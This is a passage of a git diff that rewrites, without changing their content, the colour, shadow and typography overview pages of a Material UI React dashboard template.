- <ColorBox - bgcolor="secondary.lighter" - data={{ label: 'Grey-1', color: `${currentPalette.secondary.lighter}` }} - title="secondary.lighter" - dark - /> - <ColorBox - bgcolor="secondary.100" - data={{ label: 'Grey-2', color: `${currentPalette.secondary[100]}` }} - title="secondary[100]" - dark - /> - <ColorBox - bgcolor="secondary.200" - data={{ label: 'Grey-3', color: `${currentPalette.secondary[200]}` }} - title="secondary[200]" - dark - /> - <ColorBox - bgcolor="secondary.light" - data={{ label: 'Grey-4', color: `${currentPalette.secondary.light}` }} - title="secondary.light" - dark - /> - <ColorBox - bgcolor="secondary.400" - data={{ label: 'Grey-5', color: `${currentPalette.secondary[400]}` }} - title="secondary[400]" - dark - /> - <ColorBox - bgcolor="secondary.main" - data={{ label: 'Grey-6', color: `${currentPalette.secondary.main}` }} - title="secondary.main" - main - /> - <ColorBox bgcolor="secondary.600" data={{ label: 'Grey-7', color: `${currentPalette.secondary[600]}` }} title="secondary.600" /> - <ColorBox - bgcolor="secondary.dark" - data={{ label: 'Grey-8', color: `${currentPalette.secondary.dark}` }} - title="secondary.dark" - /> - <ColorBox - bgcolor="secondary.800" - data={{ label: 'Grey-9', color: `${currentPalette.secondary[800]}` }} - title="secondary[800]" - /> - <ColorBox - bgcolor="secondary.darker" - data={{ label: 'Grey-10', color: `${currentPalette.secondary.darker}` }} - title="secondary.darker" - /> - </Stack> - </MainCard> - </Grid> - <Grid size={{ xs: 12, sm: 6, md: 4 }}> - <MainCard title="Other Color"> - <Stack> - <ColorBox - bgcolor="secondary.A100" - data={{ label: 'Grey-A1', color: `${currentPalette.secondary.A100}` }} - title="secondary.A100" - dark - /> - <ColorBox - bgcolor="secondary.A200" - data={{ label: 'Grey-A2', color: `${currentPalette.secondary.A200}` }} - title="secondary.A200" - /> - <ColorBox - bgcolor="secondary.A300" - data={{ label: 'Grey-A3', color: `${currentPalette.secondary.A300}` }} - title="secondary.A300" - /> - </Stack> - </MainCard> - </Grid> - <Grid size={{ xs: 12, sm: 6, md: 4 }}> - <MainCard title="Success Color"> - <Stack> - <ColorBox - bgcolor="success.lighter" - data={{ label: 'Green-1', color: `${currentPalette.success.lighter}` }} - title="success.lighter" - dark - /> - <ColorBox - bgcolor="success.light" - data={{ label: 'Green-4', color: `${currentPalette.success.light}` }} - title="success.light" - dark - /> - <ColorBox - bgcolor="success.main" - data={{ label: 'Green-6', color: `${currentPalette.success.main}` }} - title="success.main" - main - /> - <ColorBox bgcolor="success.dark" data={{ label: 'Green-8', color: `${currentPalette.success.dark}` }} title="success.dark" /> - <ColorBox - bgcolor="success.darker" - data={{ label: 'Green-10', color: `${currentPalette.success.darker}` }} - title="success.darker" - /> - </Stack> - </MainCard> - </Grid> - <Grid size={{ xs: 12, sm: 6, md: 4 }}> - <MainCard title="Error Color"> - <Stack> - <ColorBox - bgcolor="error.lighter" - data={{ label: 'Red-1', color: `${currentPalette.error.lighter}` }} - title="error.lighter" - dark - /> - <ColorBox bgcolor="error.light" data={{ label: 'Red-4', color: `${currentPalette.error.light}` }} title="error.light" dark /> - <ColorBox bgcolor="error.main" data={{ label: 'Red-6', color: `${currentPalette.error.main}` }} title="error.main" main /> - <ColorBox bgcolor="error.dark" data={{ label: 'Red-8', color: `${currentPalette.error.dark}` }} title="error.dark" /> - <ColorBox bgcolor="error.darker" data={{ label: 'Red-10', color: `${currentPalette.error.darker}` }} title="error.darker" /> - </Stack> - </MainCard> - </Grid> - <Grid size={{ xs: 12, sm: 6, md: 4 }}> - <MainCard title="Warning Color"> - <Stack> - <ColorBox - bgcolor="warning.lighter" - data={{ label: 'Gold-1', color: `${currentPalette.warning.lighter}` }} - title="warning.lighter" - dark - /> - <ColorBox - bgcolor="warning.light" - data={{ label: 'Gold-4', color: `${currentPalette.warning.light}` }} - title="warning.light" - dark - /> - <ColorBox - bgcolor="warning.main" - data={{ label: 'Gold-6', color: `${currentPalette.warning.main}` }} - title="warning.main" - main - /> - <ColorBox bgcolor="warning.dark" data={{ label: 'Gold-8', color: `${currentPalette.warning.dark}` }} title="warning.dark" /> - <ColorBox - bgcolor="warning.darker" - data={{ label: 'Gold-10', color: `${currentPalette.warning.darker}` }} - title="warning.darker" - /> - </Stack> - </MainCard> - </Grid> - </Grid> - ); -} - -ColorBox.propTypes = { - bgcolor: PropTypes.string, - title: PropTypes.string, - data: PropTypes.object, - dark: PropTypes.bool, - main: PropTypes.bool -}; +import PropTypes from 'prop-types'; + +// material-ui +import { useTheme } from '@mui/material/styles'; +import Card from '@mui/material/Card'; +import Grid from '@mui/material/Grid'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// project imports +import MainCard from 'components/MainCard'; + +function ColorBox({ bgcolor, title, data, dark, main }) { + return ( + <Card sx={{ '&.MuiPaper-root': { borderRadius: '0px' } }}> + <Box + sx={{ + display: 'flex', + justifyContent: 'center', + alignItems: 'center', + py: 2.5, + bgcolor, + color: dark ? 'grey.800' : '#ffffff', + border: main ? '1px dashed' : '1px solid transparent' + }} + > + {title && ( + <Grid container sx={{ width: 1, justifyContent: 'space-around', alignItems: 'center' }}> + <Grid> + {data && ( + <Stack sx={{ gap: 0.75, alignItems: 'center' }}> + <Typography variant="subtitle2">{data.label}</Typography> + <Typography variant="subtitle1">{data.color}</Typography> + </Stack> + )} + </Grid> + <Grid> + <Typography variant="subtitle1" color="inherit"> + {title} + </Typography> + </Grid> + </Grid> + )} + </Box> + </Card> + ); +} + +// ===============================|| COMPONENT - COLOR ||=============================== // + +export default function ComponentColor() { + const theme = useTheme(); + + const currentPalette = theme.palette; + return ( + <Grid container spacing={3}> + <Grid size={{ xs: 12, sm: 6, md: 4 }}> + <MainCard title="Primary Color"> + <Stack> + <ColorBox + bgcolor="primary.lighter" + data={{ label: 'Blue-1', color: `${currentPalette.primary.lighter}` }} + title="primary.lighter" + dark + /> + <ColorBox bgcolor="primary.100" data={{ label: 'Blue-2', color: `${currentPalette.primary[100]}` }} title="primary[100]" dark /> + <ColorBox bgcolor="primary.200" data={{ label: 'Blue-3', color: `${currentPalette.primary[200]}` }} title="primary[200]" dark /> + <ColorBox + bgcolor="primary.light" + data={{ label: 'Blue-4', color: `${currentPalette.primary.light}` }} + title="primary.light" + dark + /> + <ColorBox bgcolor="primary.400" data={{ label: 'Blue-5', color: `${currentPalette.primary[400]}` }} title="primary[400]" /> + <ColorBox + bgcolor="primary.main" + data={{ label: 'Blue-6', color: `${currentPalette.primary.main}` }} + title="primary.main" + main + /> + <ColorBox bgcolor="primary.dark" data={{ label: 'Blue-7', color: `${currentPalette.primary.dark}` }} title="primary.dark" /> + <ColorBox bgcolor="primary.700" data={{ label: 'Blue-8', color: `${currentPalette.primary[700]}` }} title="primary[700]" /> + <ColorBox + bgcolor="primary.darker" + data={{ label: 'Blue-9', color: `${currentPalette.primary.darker}` }} + title="primary.darker" + /> + <ColorBox bgcolor="primary.900" data={{ label: 'Blue-10', color: `${currentPalette.primary[900]}` }} title="primary.900" /> + </Stack> + </MainCard> + </Grid> + <Grid size={{ xs: 12, sm: 6, md: 4 }}> + <MainCard title="Secondary Color"> + <Stack> + <ColorBox + bgcolor="secondary.lighter" + data={{ label: 'Grey-1', color: `${currentPalette.secondary.lighter}` }} + title="secondary.lighter" + dark + /> + <ColorBox + bgcolor="secondary.100" + data={{ label: 'Grey-2', color: `${currentPalette.secondary[100]}` }} + title="secondary[100]" + dark + /> + <ColorBox + bgcolor="secondary.200" + data={{ label: 'Grey-3', color: `${currentPalette.secondary[200]}` }} + title="secondary[200]" + dark + /> + <ColorBox + bgcolor="secondary.light" + data={{ label: 'Grey-4', color: `${currentPalette.secondary.light}` }} + title="secondary.light" + dark + /> + <ColorBox + bgcolor="secondary.400" + data={{ label: 'Grey-5', color: `${currentPalette.secondary[400]}` }} + title="secondary[400]" + dark + /> + <ColorBox + bgcolor="secondary.main" + data={{ label: 'Grey-6', color: `${currentPalette.secondary.main}` }} + title="secondary.main" + main + /> + <ColorBox bgcolor="secondary.600" data={{ label: 'Grey-7', color: `${currentPalette.secondary[600]}` }} title="secondary.600" /> + <ColorBox + bgcolor="secondary.dark" + data={{ label: 'Grey-8', color: `${currentPalette.secondary.dark}` }} + title="secondary.dark" + /> + <ColorBox + bgcolor="secondary.800" + data={{ label: 'Grey-9', color: `${currentPalette.secondary[800]}` }} + title="secondary[800]" + /> + <ColorBox + bgcolor="secondary.darker" + data={{ label: 'Grey-10', color: `${currentPalette.secondary.darker}` }} + title="secondary.darker" + /> + </Stack> + </MainCard> + </Grid> + <Grid size={{ xs: 12, sm: 6, md: 4 }}> + <MainCard title="Other Color"> + <Stack> + <ColorBox + bgcolor="secondary.A100" + data={{ label: 'Grey-A1', color: `${currentPalette.secondary.A100}` }} + title="secondary.A100" + dark + /> + <ColorBox + bgcolor="secondary.A200" + data={{ label: 'Grey-A2', color: `${currentPalette.secondary.A200}` }} + title="secondary.A200" + /> + <ColorBox + bgcolor="secondary.A300" + data={{ label: 'Grey-A3', color: `${currentPalette.secondary.A300}` }} + title="secondary.A300" + /> + </Stack> + </MainCard> + </Grid> + <Grid size={{ xs: 12, sm: 6, md: 4 }}> + <MainCard title="Success Color"> + <Stack> + <ColorBox + bgcolor="success.lighter" + data={{ label: 'Green-1', color: `${currentPalette.success.lighter}` }} + title="success.lighter" + dark + /> + <ColorBox + bgcolor="success.light" + data={{ label: 'Green-4', color: `${currentPalette.success.light}` }} + title="success.light" + dark + /> + <ColorBox + bgcolor="success.main" + data={{ label: 'Green-6', color: `${currentPalette.success.main}` }} + title="success.main" + main + /> + <ColorBox bgcolor="success.dark" data={{ label: 'Green-8', color: `${currentPalette.success.dark}` }} title="success.dark" /> + <ColorBox + bgcolor="success.darker" + data={{ label: 'Green-10', color: `${currentPalette.success.darker}` }} + title="success.darker" + /> + </Stack> + </MainCard> + </Grid> + <Grid size={{ xs: 12, sm: 6, md: 4 }}> + <MainCard title="Error Color"> + <Stack> + <ColorBox + bgcolor="error.lighter" + data={{ label: 'Red-1', color: `${currentPalette.error.lighter}` }} + title="error.lighter" + dark + /> + <ColorBox bgcolor="error.light" data={{ label: 'Red-4', color: `${currentPalette.error.light}` }} title="error.light" dark /> + <ColorBox bgcolor="error.main" data={{ label: 'Red-6', color: `${currentPalette.error.main}` }} title="error.main" main /> + <ColorBox bgcolor="error.dark" data={{ label: 'Red-8', color: `${currentPalette.error.dark}` }} title="error.dark" /> + <ColorBox bgcolor="error.darker" data={{ label: 'Red-10', color: `${currentPalette.error.darker}` }} title="error.darker" /> + </Stack> + </MainCard> + </Grid> + <Grid size={{ xs: 12, sm: 6, md: 4 }}> + <MainCard title="Warning Color"> + <Stack> + <ColorBox + bgcolor="warning.lighter" + data={{ label: 'Gold-1', color: `${currentPalette.warning.lighter}` }} + title="warning.lighter" + dark + /> + <ColorBox + bgcolor="warning.light" + data={{ label: 'Gold-4', color: `${currentPalette.warning.light}` }} + title="warning.light" + dark + /> + <ColorBox + bgcolor="warning.main" + data={{ label: 'Gold-6', color: `${currentPalette.warning.main}` }} + title="warning.main" + main + /> + <ColorBox bgcolor="warning.dark" data={{ label: 'Gold-8', color: `${currentPalette.warning.dark}` }} title="warning.dark" /> + <ColorBox + bgcolor="warning.darker" + data={{ label: 'Gold-10', color: `${currentPalette.warning.darker}` }} + title="warning.darker" + /> + </Stack> + </MainCard> + </Grid> + </Grid> + ); +} + +ColorBox.propTypes = { + bgcolor: PropTypes.string, + title: PropTypes.string, + data: PropTypes.object, + dark: PropTypes.bool, + main: PropTypes.bool +}; diff --git a/src/pages/component-overview/shadows.jsx b/src/pages/component-overview/shadows.jsx index 6df0a13b6..513adb56a 100644 --- a/src/pages/component-overview/shadows.jsx +++ b/src/pages/component-overview/shadows.jsx @@ -1,213 +1,213 @@ -import PropTypes from 'prop-types'; -// material-ui -import { useTheme } from '@mui/material/styles'; -import Grid from '@mui/material/Grid'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; - -// project imports -import MainCard from 'components/MainCard'; - -// ===============================|| SHADOW BOX ||=============================== // - -function ShadowBox({ shadow }) { - return ( - <MainCard border={false} shadow={shadow} boxShadow> - <Stack sx={{ gap: 1, alignItems: 'center', justifyContent: 'center' }}> - <Typography variant="h6">boxShadow</Typography> - <Typography variant="subtitle1">{shadow}</Typography> - </Stack> - </MainCard> - ); -} - -// ===============================|| CUSTOM - SHADOW BOX ||=============================== // - -function CustomShadowBox({ shadow, label, color, bgcolor }) { - return ( - <MainCard border={false} shadow={shadow} boxShadow sx={{ bgcolor: bgcolor || 'inherit' }}> - <Stack sx={{ gap: 1, alignItems: 'center', justifyContent: 'center' }}> - <Typography variant="subtitle1" color={color}> - {label} - </Typography> - </Stack> - </MainCard> - ); -} - -// ============================|| COMPONENT - SHADOW ||============================ // - -export default function ComponentShadow() { - const theme = useTheme(); - - return ( - <Grid container spacing={3}> - <Grid size={12}> - <MainCard title="Basic Shadow"> - <Grid container spacing={3}> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="0" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="1" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="2" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="3" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="4" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="5" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="6" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="7" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="8" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="9" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="10" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="11" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="12" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="13" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="14" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="15" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="16" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="17" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="18" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="19" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="20" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="21" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="22" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="23" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <ShadowBox shadow="24" /> - </Grid> - </Grid> - </MainCard> - </Grid> - <Grid size={12}> - <MainCard title="Custom Shadow"> - <Grid container spacing={3}> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox shadow={theme.vars.customShadows.z1} label="z1" color="inherit" /> - </Grid> - </Grid> - </MainCard> - </Grid> - <Grid size={12}> - <MainCard title="Color Shadow"> - <Grid container spacing={3}> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox - color={theme.vars.palette.primary.contrastText} - bgcolor={theme.vars.palette.primary.main} - shadow={theme.vars.customShadows.primaryButton} - label="primary" - /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox - color={theme.vars.palette.secondary.contrastText} - bgcolor={theme.vars.palette.secondary.main} - shadow={theme.vars.customShadows.secondaryButton} - label="secondary" - /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox - color={theme.vars.palette.success.contrastText} - bgcolor={theme.vars.palette.success.main} - shadow={theme.vars.customShadows.successButton} - label="success" - /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox - color={theme.vars.palette.warning.contrastText} - bgcolor={theme.vars.palette.warning.main} - shadow={theme.vars.customShadows.warningButton} - label="warning" - /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox - color={theme.vars.palette.info.contrastText} - bgcolor={theme.vars.palette.info.main} - shadow={theme.vars.customShadows.infoButton} - label="info" - /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox - color={theme.vars.palette.error.contrastText} - bgcolor={theme.vars.palette.error.main} - shadow={theme.vars.customShadows.errorButton} - label="error" - /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox color={theme.vars.palette.primary.main} shadow={theme.vars.customShadows.primary} label="primary" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox color={theme.vars.palette.secondary.main} shadow={theme.vars.customShadows.secondary} label="secondary" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox color={theme.vars.palette.success.main} shadow={theme.vars.customShadows.success} label="success" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox color={theme.vars.palette.warning.main} shadow={theme.vars.customShadows.warning} label="warning" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox color={theme.vars.palette.info.main} shadow={theme.vars.customShadows.info} label="info" /> - </Grid> - <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> - <CustomShadowBox color={theme.vars.palette.error.main} shadow={theme.vars.customShadows.error} label="error" /> - </Grid> - </Grid> - </MainCard> - </Grid> - </Grid> - ); -} - -ShadowBox.propTypes = { shadow: PropTypes.string }; - -CustomShadowBox.propTypes = { shadow: PropTypes.string, label: PropTypes.string, color: PropTypes.string, bgcolor: PropTypes.string }; +import PropTypes from 'prop-types'; +// material-ui +import { useTheme } from '@mui/material/styles'; +import Grid from '@mui/material/Grid'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; + +// project imports +import MainCard from 'components/MainCard'; + +// ===============================|| SHADOW BOX ||=============================== // + +function ShadowBox({ shadow }) { + return ( + <MainCard border={false} shadow={shadow} boxShadow> + <Stack sx={{ gap: 1, alignItems: 'center', justifyContent: 'center' }}> + <Typography variant="h6">boxShadow</Typography> + <Typography variant="subtitle1">{shadow}</Typography> + </Stack> + </MainCard> + ); +} + +// ===============================|| CUSTOM - SHADOW BOX ||=============================== // + +function CustomShadowBox({ shadow, label, color, bgcolor }) { + return ( + <MainCard border={false} shadow={shadow} boxShadow sx={{ bgcolor: bgcolor || 'inherit' }}> + <Stack sx={{ gap: 1, alignItems: 'center', justifyContent: 'center' }}> + <Typography variant="subtitle1" color={color}> + {label} + </Typography> + </Stack> + </MainCard> + ); +} + +// ============================|| COMPONENT - SHADOW ||============================ // + +export default function ComponentShadow() { + const theme = useTheme(); + + return ( + <Grid container spacing={3}> + <Grid size={12}> + <MainCard title="Basic Shadow"> + <Grid container spacing={3}> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="0" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="1" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="2" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="3" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="4" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="5" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="6" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="7" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="8" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="9" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="10" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="11" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="12" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="13" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="14" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="15" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="16" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="17" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="18" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="19" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="20" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="21" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="22" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="23" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <ShadowBox shadow="24" /> + </Grid> + </Grid> + </MainCard> + </Grid> + <Grid size={12}> + <MainCard title="Custom Shadow"> + <Grid container spacing={3}> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox shadow={theme.vars.customShadows.z1} label="z1" color="inherit" /> + </Grid> + </Grid> + </MainCard> + </Grid> + <Grid size={12}> + <MainCard title="Color Shadow"> + <Grid container spacing={3}> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox + color={theme.vars.palette.primary.contrastText} + bgcolor={theme.vars.palette.primary.main} + shadow={theme.vars.customShadows.primaryButton} + label="primary" + /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox + color={theme.vars.palette.secondary.contrastText} + bgcolor={theme.vars.palette.secondary.main} + shadow={theme.vars.customShadows.secondaryButton} + label="secondary" + /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox + color={theme.vars.palette.success.contrastText} + bgcolor={theme.vars.palette.success.main} + shadow={theme.vars.customShadows.successButton} + label="success" + /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox + color={theme.vars.palette.warning.contrastText} + bgcolor={theme.vars.palette.warning.main} + shadow={theme.vars.customShadows.warningButton} + label="warning" + /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox + color={theme.vars.palette.info.contrastText} + bgcolor={theme.vars.palette.info.main} + shadow={theme.vars.customShadows.infoButton} + label="info" + /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox + color={theme.vars.palette.error.contrastText} + bgcolor={theme.vars.palette.error.main} + shadow={theme.vars.customShadows.errorButton} + label="error" + /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox color={theme.vars.palette.primary.main} shadow={theme.vars.customShadows.primary} label="primary" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox color={theme.vars.palette.secondary.main} shadow={theme.vars.customShadows.secondary} label="secondary" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox color={theme.vars.palette.success.main} shadow={theme.vars.customShadows.success} label="success" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox color={theme.vars.palette.warning.main} shadow={theme.vars.customShadows.warning} label="warning" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox color={theme.vars.palette.info.main} shadow={theme.vars.customShadows.info} label="info" /> + </Grid> + <Grid size={{ xs: 6, sm: 4, md: 3, lg: 2 }}> + <CustomShadowBox color={theme.vars.palette.error.main} shadow={theme.vars.customShadows.error} label="error" /> + </Grid> + </Grid> + </MainCard> + </Grid> + </Grid> + ); +} + +ShadowBox.propTypes = { shadow: PropTypes.string }; + +CustomShadowBox.propTypes = { shadow: PropTypes.string, label: PropTypes.string, color: PropTypes.string, bgcolor: PropTypes.string }; diff --git a/src/pages/component-overview/typography.jsx b/src/pages/component-overview/typography.jsx index 302dc8269..265cd2077 100644 --- a/src/pages/component-overview/typography.jsx +++ b/src/pages/component-overview/typography.jsx @@ -1,236 +1,236 @@ -// material-ui -import Breadcrumbs from '@mui/material/Breadcrumbs'; -import Divider from '@mui/material/Divider'; -import Grid from '@mui/material/Grid'; -import Link from '@mui/material/Link'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; - -// project imports -import MainCard from 'components/MainCard'; - -// ==============================|| COMPONENTS - TYPOGRAPHY ||============================== // - -export default function ComponentTypography() { - return ( - <Grid container spacing={3}> - <Grid size={{ xs: 12, lg: 6 }}> - <Stack sx={{ gap: 3 }}> - <MainCard title="Basic"> - <Stack sx={{ gap: 0.75, mt: -1.5 }}> - <Typography variant="h1">Inter</Typography> - <Typography variant="h5">Font Family</Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Regular</Typography> - <Typography variant="h6">Medium</Typography> - <Typography variant="h6">Bold</Typography> - </Breadcrumbs> - </Stack> - </MainCard> - <MainCard title="Heading"> - <Stack sx={{ gap: 2 }}> - <Typography variant="h1">H1 Heading</Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 38px</Typography> - <Typography variant="h6">Weight: Bold</Typography> - <Typography variant="h6">Line Height: 46px</Typography> - </Breadcrumbs> - <Divider /> - - <Typography variant="h2">H2 Heading</Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 30px</Typography> - <Typography variant="h6">Weight: Bold</Typography> - <Typography variant="h6">Line Height: 38px</Typography> - </Breadcrumbs> - <Divider /> - - <Typography variant="h3">H3 Heading</Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 24px</Typography> - <Typography variant="h6">Weight: Regular & Bold</Typography> - <Typography variant="h6">Line Height: 32px</Typography> - </Breadcrumbs> - <Divider /> - - <Typography variant="h4">H4 Heading</Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 20px</Typography> - <Typography variant="h6">Weight: Bold</Typography> - <Typography variant="h6">Line Height: 28px</Typography> - </Breadcrumbs> - <Divider /> - - <Typography variant="h5">H5 Heading</Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 16px</Typography> - <Typography variant="h6">Weight: Regular & Medium & Bold</Typography> - <Typography variant="h6">Line Height: 24px</Typography> - </Breadcrumbs> - <Divider /> - - <Typography variant="h6">H6 Heading / Subheading</Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 14px</Typography> - <Typography variant="h6">Weight: Regular</Typography> - <Typography variant="h6">Line Height: 22px</Typography> - </Breadcrumbs> - </Stack> - </MainCard> - <MainCard title="Body 1"> - <Typography variant="body1" gutterBottom> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 14px</Typography> - <Typography variant="h6">Weight: Regular</Typography> - <Typography variant="h6">Line Height: 22px</Typography> - </Breadcrumbs> - </MainCard> - <MainCard title="Body 2"> - <Typography variant="body2" gutterBottom> - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. - </Typography> - <Breadcrumbs aria-label="breadcrumb"> - <Typography variant="h6">Size: 12px</Typography> - <Typography variant="h6">Weight: Regular</Typography> - <Typography variant="h6">Line Height: 20px</Typography> - </Breadcrumbs> 